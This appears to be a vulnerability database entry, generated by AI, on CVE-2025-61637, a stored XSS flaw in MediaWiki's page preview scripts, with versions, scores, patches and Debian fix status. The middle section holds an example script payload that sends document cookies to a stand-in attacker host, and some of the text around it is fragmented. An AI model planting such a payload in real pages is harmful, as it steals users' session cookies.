
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-61637 is a stored Cross-Site Scripting (XSS) vulnerability in Wikimedia Foundation MediaWiki affecting the page preview functionality. The flaw resides in the JavaScript files resources/src/mediawiki.Action/mediawiki.Action.Edit.Preview.Js and resources/src/mediawiki.Page.Preview.Js, which fail to properly neutralize user-supplied input during web page generation. Affected versions include all MediaWiki releases before 1.39.14, before 1.43.4, and before 1.44.1. It was published on February 3, 2026, and carries a CVSS v3.1 base score of 4.8 (Medium) (Red Hat Advisory, Red Hat Bugzilla).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The flaw exists in MediaWiki's page preview JavaScript components, where attacker-controlled input — specifically through system messages — is rendered without adequate output encoding, enabling script injection into the preview rendering context. Exploitation requires network access, high privileges (e.g., administrator or interface-admin level), and user interaction (a victim must trigger the preview), resulting in a changed scope where the injected script executes in the victim's browser context. A technical write-up describing this as "Stored XSS through system messages in MW core" has been published (Infinitsec Blog, Red Hat Bugzilla).
Successful exploitation allows a high-privileged attacker to inject persistent malicious scripts into MediaWiki's page preview functionality, which execute in the browser context of any user who triggers the affected preview. The confidentiality and integrity impacts are both low (limited to the preview rendering scope), and there is no direct availability impact. In practice, this could be leveraged to steal session tokens, perform actions on behalf of victims, or escalate privileges within the MediaWiki instance (Red Hat Advisory, Feedly).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.054%, reflecting a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for high privileges and user interaction, significantly limiting the attack surface (Feedly, Red Hat Advisory).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a field that is passed unsanitized to mediawiki.Action.Edit.Preview.Js or mediawiki.Page.Preview.Js.MediaWiki: namespace) by high-privilege accounts, particularly followed by preview requests from other users.MediaWiki: namespace.Wikimedia Foundation has released patched versions addressing this vulnerability: MediaWiki 1.39.14, 1.43.4, and 1.44.1. Administrators should upgrade to one of these versions immediately. As a temporary workaround, restricting edit access to system messages and interface pages to only the most trusted users can reduce the attack surface. Implementing a strict Content Security Policy (CSP) on the MediaWiki instance may also help mitigate XSS impact (Red Hat Advisory, Debian Security Announce).
A blog post by MediaWiki developer Bawolff titled "How did XSSProtector do?" was published around the time of disclosure, reflecting community interest in MediaWiki's XSS mitigation track record (Bawolff Blog). Debian issued a security advisory (DSA-6085-1) covering this and related MediaWiki vulnerabilities, and the issue was tracked by Red Hat's security team (Debian Security Announce, Red Hat Bugzilla). Overall community reaction has been measured, consistent with the vulnerability's medium severity and limited exploitability.
Fix availability across major Linux distributions and their releases.
bookworm
mediawiki
sid
mediawiki: 1:1.43.5+dfsg-1
trixie
mediawiki: 1:1.43.6+dfsg-1~deb13u1
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."